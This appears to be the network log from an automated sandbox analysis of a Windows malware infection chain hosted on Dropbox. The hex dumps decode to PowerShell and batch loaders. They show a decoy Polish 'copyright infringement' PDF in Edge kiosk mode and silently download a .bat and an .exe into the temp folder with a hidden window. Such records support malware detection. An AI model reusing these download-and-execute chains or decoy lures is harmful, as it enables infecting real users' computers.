https://uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com/cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpXzoS6gcqFBoUBgchkWnfHyms9XOtlJieYXlqdaqGAfoIm7BmhKdouhZ4sna2p4w_ZN9ujR8qPkrGT3qgbnR6EAoDsPVsQi3XIMZaUWQUzfRCnrzpMQEgJeeE28yu8/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTc2ODgyMDU0ODYxNDU2MzMwMzk2MzczMDY1OTIyMTI3MjUyMzc=; Path=/; Expires=Sun, 16 Dec 2029 11:12:07 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=HopAvObVdpq2wXu9jMH8gCvj; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:12:07 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=HopAvObVdpq2wXu9jMH8gCvj; Path=/; Expires=Wed, 17 Dec 2025 11:12:07 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=HG9jSts9no; Path=/; Expires=Wed, 17 Dec 2025 11:12:07 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:12:07 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:12:08 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 94294384c0994c988cbdc9120d2cb4a2 Connection: close
2024-12-17 11:12:08 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	162.125.69.15	443	3480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:10 UTC	370	OUT	GET /cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpXzoS6gcqFBoUBgchkWnfHyms9XOtlJieYXlqdaqGAfoIm7BmhKdouhZ4sna2p4w_ZN9ujR8qPkrGT3qgbnR6EAoDsPVsQi3XIMZaUWQUzfRCnrzpMQEgJeeE28yu8/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:12:11 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="secure.txt"; filename*=UTF-8''secure.txt Content-Security-Policy: sandbox Etag: 1734010042522025d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 231 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:12:10 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 435 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 421bdaa15e20406690c5cb8c3f215265 Connection: close
2024-12-17 11:12:11 UTC	435	IN	Data Raw: 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 6d 73 65 64 67 65 2e 65 78 65 20 2d 41 72 67 75 6d 65 6e 74 4c 69 73 74 20 22 2d 2d 6b 69 6f 73 6b 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 35 31 73 39 64 38 6f 6e 66 79 31 35 62 39 39 32 63 32 35 35 35 2f 44 6f 6b 75 6d 65 6e 74 2d 61 6e 61 6c 69 7a 79 2d 6e 61 72 75 73 7a 65 2d 70 72 61 77 2d 61 75 74 6f 72 73 6b 69 63 68 2e 70 64 66 3f 72 6c 6b 65 79 3d 72 64 38 6a 74 35 6e 76 68 6e 64 61 65 74 76 78 64 70 72 70 69 67 39 30 71 26 64 6c 3d 31 22 3b 20 24 52 61 6e 64 6f 6d 46 69 6c 65 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 74 65 6d 70 5c 24 28 47 65 74 2d 52 61 6e 64 6f 6d 29 2e 62 61 74 22 3b 20 49 57 52 20 2d 55 72 69 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: Start-Process msedge.exe -ArgumentList "--kiosk https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1"; $RandomFileName = "$env:temp\$(Get-Random).bat"; IWR -Uri "https://www

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	162.125.69.18	443	3480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:19 UTC	212	OUT	GET /scl/fi/dk0happq8zq54zyqx75rc/loader.txt?rlkey=mgjftur3wge66oen7ogdrtopm&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-17 11:12:20 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: frame-ancestors 'self' https://.dropbox.com ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https:/ [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com/cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyBtClDzM91JHL8AYxcPQR0PajL6K14nXQikBWli5FkGf1GTv3JBsf8gFrYx5LkdmZwFbImQrU3Ydq9kJ1b4QNJKvyF9wZ6d4Di7ZRVu3IJIGDhGELYgaNnnZc6rA2f/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MzMwMDM0ODcxOTk1MDM4MTkyMDgwMTI0MTY3MzA5NDk2NjMyMTA5; Path=/; Expires=Sun, 16 Dec 2029 11:12:19 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=ad0-WAxz1UGuKYe837RauhxO; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:12:19 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=ad0-WAxz1UGuKYe837RauhxO; Path=/; Expires=Wed, 17 Dec 2025 11:12:19 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=QI_5CAie-Y; Path=/; Expires=Wed, 17 Dec 2025 11:12:19 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:12:19 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:12:20 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: edd54dc2c2cc435ab93901dfd1ec1560 Connection: close
2024-12-17 11:12:20 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	162.125.69.15	443	3480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:22 UTC	370	OUT	GET /cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyBtClDzM91JHL8AYxcPQR0PajL6K14nXQikBWli5FkGf1GTv3JBsf8gFrYx5LkdmZwFbImQrU3Ydq9kJ1b4QNJKvyF9wZ6d4Di7ZRVu3IJIGDhGELYgaNnnZc6rA2f/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:12:23 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="loader.txt"; filename*=UTF-8''loader.txt Content-Security-Policy: sandbox Etag: 1734010040036792d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 113 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:12:23 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 828 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: dd7f29171db043c4a0227fee2d374301 Connection: close
2024-12-17 11:12:23 UTC	828	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 49 6e 64 6f 57 53 74 59 4c 65 20 68 69 44 64 65 4e 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 43 6f 6d 6d 61 6e 64 20 22 24 52 61 6e 64 6f 6d 50 44 46 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 70 64 66 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 24 52 61 6e 64 6f 6d 45 58 45 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 65 78 65 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 Data Ascii: @echo offpowershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	162.125.65.18	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:23 UTC	788	OUT	GET /scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-17 11:12:24 UTC	4094	IN	HTTP/1.1 302 Found Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; img-src https://* data: blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com/cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4HV2FOsenCZnftBGagxXWqfJGbok_Rw6kYM6bITShviiEO-XLsqd7kX5DhaRGpDQ6OQkDYZJB3Ujq_zG59WV3cwSLHXW4NI398muxG6Le98jk748A_r_i/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MzAzMzk1OTcwNzAyMTg2MDAzNjUzMTcxNTA2MTMzODc5OTQzMzkw; Path=/; Expires=Sun, 16 Dec 2029 11:12:23 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=oVX_mNpwbhfAv86sxetymLtA; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:12:23 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=oVX_mNpwbhfAv86sxetymLtA; Path=/; Expires=Wed, 17 Dec 2025 11:12:23 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=1Jnx_HK10A; Path=/; Expires=Wed, 17 Dec 2025 11:12:23 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en_GB; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:12:23 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:12:24 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 5dbe1587109f469f96e651b9577d4a9a Connection: close
2024-12-17 11:12:24 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49736	142.250.181.65	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:26 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-17 11:12:27 UTC	562	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC4M4UkEmHJyMrDhjMv6enSJIwlb9fiy0LogqcQdAqPcjd7k32BblA4N-V0nB4cagFw X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Mon, 16 Dec 2024 15:58:14 GMT Expires: Tue, 16 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 69253 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-17 11:12:27 UTC	828	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 bb Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 bd Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb 4c Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGWL
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd bf Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 30 Data Ascii: =+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v0
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 fa Data Ascii: K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2024-12-17 11:12:27 UTC	1390	IN	Data Raw: c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 0f Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
